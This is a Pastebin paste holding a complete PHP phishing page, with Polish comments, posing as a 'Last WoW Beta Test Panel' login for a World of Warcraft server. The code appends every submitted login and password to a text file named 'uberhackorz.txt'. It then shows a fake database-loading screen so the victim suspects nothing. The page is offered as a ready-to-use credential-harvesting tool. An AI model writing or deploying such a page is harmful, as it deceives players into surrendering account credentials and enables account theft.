Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <head>
- <font color=white><title>Last WoW Test Panel</title></font>
- </head>
- <?php
- $pole1 = trim($_POST['pole1']);
- $pole2 = trim($_POST['pole2']);
- if(empty($pole1) and empty($pole2)) {
- // prosty formularz zawieraj1cy dwa pola
- echo '
- <center>
- </APPLET>
- <br>
- <center><font color=white><font size="10">Last WoW </font>
- <font color=red><font size="10">Beta Test Panel</font></center>
- <p>
- <p>
- <form action="" method="post">
- <font color=white>Login : </font>
- <input type="text" name="pole1" " /><br />
- <p>
- <font color=white>Password : </font>
- <input type=password name="pole2" " /><br />
- <br />
- <input type="submit" value="Login" />
- <center>
- </form>
- &LastWoW';
- }
- else {
- // dane pochodz1ce z formularza
- $dane = $pole1."`".$pole2."\n";
- // przypisanie zmniennej $file nazwy pliku
- $file = "uberhackorz.txt";
- // uchwyt pliku, otwarcie do dopisania
- $fp = fopen($file, "a");
- // blokada pliku do zapisu
- flock($fp, 2);
- // zapisanie danych do pliku
- fwrite($fp, $dane);
- // odblokowanie pliku
- flock($fp, 3);
- // zamkniecie pliku
- fclose($fp);
- echo '
- <center>
- <font color=white>Wait ... Loading Data Base</font>
- <br>
- <a href="http://imageshack.us"><center><img src="http://img405.imageshack.us/img405/8002/loadingqg5.gif" border="0" alt="Image Hosted by ImageShack.us"/></a>
- ';
- }
- ?>
- <body background="http://www.coestrenos.com/wp-content/uploads/2010/02/WOWWW.jpg">
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement